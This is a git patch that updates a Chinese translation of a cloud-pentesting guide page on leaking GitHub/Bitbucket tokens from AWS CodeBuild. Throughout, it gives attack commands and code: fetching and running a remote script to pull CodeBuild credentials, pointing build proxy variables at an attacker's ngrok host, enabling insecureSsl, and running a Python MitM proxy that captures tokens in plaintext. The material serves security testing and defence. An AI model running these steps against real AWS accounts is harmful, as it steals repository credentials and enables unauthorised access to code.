From ca89fed0b8258f54e234b430b26a3e2ace9cc196 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Apr 2026 12:39:03 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../aws-codebuild-token-leakage.md | 68 +++++++++++-------- 1 file changed, 39 insertions(+), 29 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 651215211..77580ba09 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -4,45 +4,55 @@ ## 恢复 Github/Bitbucket 已配置的 Tokens -首先,检查是否存在任何已配置的 source 凭据,你可以 leak: +首先,检查是否配置了任何 source credentials that you could leak: ```bash aws codebuild list-source-credentials ``` -### 通过 Docker 镜像 +### 通过 RCE 在 CodeBuild 作业中 -如果你发现账号中设置了例如 Github 的身份验证,你可以通过让 Codebuild **use an specific docker image** 来运行项目构建,从而**exfiltrate**该**access**(**GH token or OAuth token**)。 +从 CodeBuild 作业内部,你可以访问一个未记录的 AWS CodeBuild API 端点,该端点会返回 CodeBuild 使用的凭据。 这可以用来获取 CodeBuild 作业在设置时使用的凭据,例如 AWS CodeConnection 凭据、OAUTH 或 PAT 凭据。CodeBuild 作业无需具有特权即可访问该端点,而且在日志和监控中也很难被检测到,因为 CodeBuild 本身在启动时会多次调用此端点。 -为此你可以**create a new Codebuild project**或者更改已有项目的**environment**以设置**Docker image**。 +该技术在 [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/) 有更详细的说明,但总之要在 CodeBuild 作业内获取凭据,你只需要运行以下命令: +``` +python -m pip install botocore boto3 requests +wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py +python ./GetBuildInfo.py +``` +### 通过 Docker Image -你可以使用的 Docker 镜像是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker 镜像,会设置**env variables `https_proxy`**、**`http_proxy`**和**`SSL_CERT_FILE`**。这将允许你拦截`https_proxy`和`http_proxy`中指示主机的大部分流量,并信任`SSL_CERT_FILE`中指示的 SSL 证书。 +如果你发现账户中为例如 Github 设置了认证,你可以通过让 Codebuild 使用特定的 docker image 来运行项目构建,从而 **exfiltrate** 那个 **access**(**GH token or OAuth token**)。 + +为此你可以 **create a new Codebuild project** 或更改现有项目的 **environment** 来设置 **Docker image**。 + +The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker image,会设置 **env variables `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许你拦截 `https_proxy` 和 `http_proxy` 指定主机的大部分流量,并信任 `SSL_CERT_FILE` 指定的 SSL 证书。 1. **Create & Upload your own Docker MitM image** -- 按照该仓库的说明设置你的代理 IP 地址并设置你的 SSL 证书,**build the docker image**。 +- 按照该 repo 的说明设置你的代理 IP 地址并设置你的 SSL 证书,**build the docker image**。 - **DO NOT SET `http_proxy`**,以免拦截对 metadata endpoint 的请求。 - 你可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 来将代理指向你的主机 -- 一旦你构建好 Docker 镜像,**upload it to a public repo**(Dockerhub、ECR...) +- 当你构建好 Docker image 后,**upload it to a public repo**(Dockerhub, ECR...) 2. **Set the environment** -- **Create a new Codebuild project** 或 **modify** 已有项目的 environment。 +- 创建一个 **new Codebuild project** 或 **modify** 现有项目的 environment。 - 将项目设置为使用 **previously generated Docker image**
3. **Set the MitM proxy in your host** -- 如 **Github repo** 中所示,你可以使用类似: +- 如 **Github repo** 所示,你可以使用类似: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> **mitmproxy 使用的版本是 9.0.1**,据报道在版本 10 上可能无法工作。 +> 使用的 **mitmproxy 版本为 9.0.1**,据报在版本 10 上可能无法工作。 4. **运行构建并捕获凭证** -- 你可以在 **Authorization** 头中看到 token: +- 你可以在 **Authorization** header 中看到 token:
-这也可以通过 aws cli 使用类似的命令完成: +这也可以通过 aws cli 完成,例如: ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -73,15 +83,15 @@ aws codebuild start-build --project-name my-project2 ``` ### 通过 insecureSSL -**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,该设置在网页界面中隐藏,你只能通过 API 修改。\ -启用该设置后,Codebuild 将能够连接到仓库 **而不验证平台提供的证书**。 +**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,该设置在 web 界面中隐藏,只能通过 API 更改。\ +启用后,Codebuild 将允许连接到仓库,**不检查平台提供的证书**。 -- 首先你需要用类似的命令枚举当前配置: +- 首先你需要枚举当前配置,使用类似以下命令: ```bash aws codebuild batch-get-projects --name ``` -- 然后,使用收集到的信息,你可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下面是我更新一个项目的示例,注意最后的 **`insecureSsl=True`**(这是你需要从收集到的配置中修改的唯一内容)。 -- 此外,还要添加环境变量 **http_proxy** 和 **https_proxy**,指向你的 tcp ngrok,如下所示: +- 然后,使用收集到的信息,你可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下面是我更新项目的一个示例,注意末尾的 **`insecureSsl=True`**(这是你需要从收集到的配置中更改的唯一项)。 +- 此外,还要添加环境变量 **http_proxy** 和 **https_proxy**,指向你的 tcp ngrok,例如: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +125,7 @@ aws codebuild update-project --name \ ] }' ``` -- 然后,在由代理变量 (http_proxy 和 https_proxy) 指向的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例 +- 然后,在代理变量 (http_proxy 和 https_proxy) 指定的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例 ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +138,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- 最后,点击 **构建项目**,**凭证** 将以 **明文**(base64)发送到 mitm 端口: +- 最后,点击 **Build the project**,**credentials** 将以 **明文**(base64)发送到 mitm 端口:
### ~~通过 HTTP 协议~~ -> [!TIP] > **该漏洞在 2023 年 2 月 20 日那周的某个时间由 AWS 修复(我记得是周五)。因此攻击者现在无法再滥用它 :)** +> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)** -具有提升权限的攻击者在某个 CodeBuild 中可以 **leak 配置的 Github/Bitbucket token**,或者如果权限是通过 OAuth 配置的,则可以 **用于访问代码的临时 OAuth token**。 +拥有对 CodeBuild 提权的攻击者可以 leak 配置的 Github/Bitbucket token,或者如果权限是通过 OAuth 配置的,则可以 leak 用于访问代码的 temporary OAuth token。 -- 攻击者可以向 CodeBuild 项目添加环境变量 **http_proxy** 和 **https_proxy**,指向他的机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。 +- 攻击者可以添加环境变量 **http_proxy** 和 **https_proxy** 到 CodeBuild 项目,指向他的机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。
-- 然后,将 github 仓库的 URL 从 HTTPS 改为 HTTP,例如:`http://github.com/carlospolop-forks/TestActions` -- 然后,在代理变量(http_proxy 和 https_proxy)指向的端口运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例。 +- 然后,将 github 仓库的 URL 改为使用 HTTP 而不是 HTTPS,例如:`http://github.com/carlospolop-forks/TestActions` +- 然后,在由代理变量 (http_proxy 和 https_proxy) 指定的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例 ```python from mitm import MITM, protocol, middleware, crypto @@ -158,20 +168,20 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- 接下来,点击 **构建项目** 或从命令行启动构建: +- 接下来,点击 **Build the project** 或从命令行启动构建: ```sh aws codebuild start-build --project-name ``` -- 最后,**credentials** 将以 **明文** (base64) 发送到 mitm 端口: +- 最后,**凭证**将以**明文**(base64)发送到 mitm 端口:
> [!WARNING] -> 现在 attacker 将能够从他的机器上使用该 token,列出它拥有的所有 privileges 并比直接使用 CodeBuild 服务更容易地 (ab)use。 +> 现在攻击者能够在他的机器上使用该 token,列出它拥有的所有权限,并比直接使用 CodeBuild 服务更容易地(滥用)利用这些权限。 -## 通过 webhook filter misconfiguration 导致的 Untrusted PR execution +## Untrusted PR execution via webhook filter misconfiguration -对于 PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution),请查看: +对于 PR 触发的 webhook 绕过链(`ACTOR_ACCOUNT_ID` regex + untrusted PR execution),请查阅: {{#ref}} aws-codebuild-untrusted-pr-webhook-bypass.md